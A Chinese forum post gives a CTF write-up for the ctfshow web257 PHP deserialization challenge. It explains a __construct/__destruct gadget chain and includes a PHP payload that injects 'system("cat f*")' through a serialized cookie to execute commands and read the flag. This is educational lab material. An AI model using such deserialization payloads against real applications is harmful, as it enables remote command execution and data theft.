ctfshow web257php反序列化漏洞

webgo   ·   发表于 2023-10-08 21:50:28   ·   CTF&WP专版

最近在学php反序列化漏洞,找课外练习做的时候遇到了,觉得挺有意思,分享一下

先看下源码


分析一下:
1.找到反序列化传参点,危险方法和其所在的类;
2.找到反序列化之后可以调用的方法及其中的可篡改属性;
3.重写了_construct()魔术方法,在构建ctfshowuser对象的时候构建一个新的info()对象;
4.重写了_destruct()魔术方法,在销毁ctfshowuser对象时会执行当前对象中class属性(也就是刚构建的info()对象)的getInfo()方法;
5.这里补充一下_destruct()魔术方法在这里被调用的原因:由于在重写的_construct()方法中新建了一个局部对象,在construct函数执行完毕后,该局部对象生命周期结束,于是调用_destruct()方法。


整理一下思路:
首先,我们必须通过调用危险类中的危险方法来完成对漏洞的利用,但是反序列化的过程中调用的方法中没有直接调用危险方法,同时我们也不能在对象中增加新的方法,那就只能通过改写方法中的属性了


payload

  1. <?php
  2. class ctfShowUser{
  3. public $class;
  4. public function __construct(){
  5. $this->class=new backDoor();//改写属性,让其构造危险实例
  6. }
  7. }
  8. class backDoor{
  9. public $code='system("cat f*");';//改写危险类属性,通过system方法命令执行
  10. }
  11. $b=new ctfShowUser();
  12. echo urlencode(serialize($b));

解析一下payload的具体思路:

  • 这里payload先是改写了construct()方法中的属性,让其在反序列化构造ctfshowuser对象的时候构造一个危险实例,这样的话,在此方法执行过后,就会继续调用destruct()方法,让其调用危险实例中的getInfo()方法(危险方法),这样子就完成了对危险方法的调用;
  • 另一方面,我们也修改了危险方法中的code属性,将其改成’system(“cat f*”)’的形式来进行命令执行,这样子就能完成对反序列化漏洞的利用啦

看下payload效果

将其粘贴到cookie上

别忘了传参

flag在页面代码里哦

用户名金币积分时间理由
Track-魔方 150.00 0 2023-10-10 15:03:27 首发文章奖励 150 希望同学有更多好文

打赏我,让我更有动力~

0 条回复   |  直到 2023-10-8 | 470 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.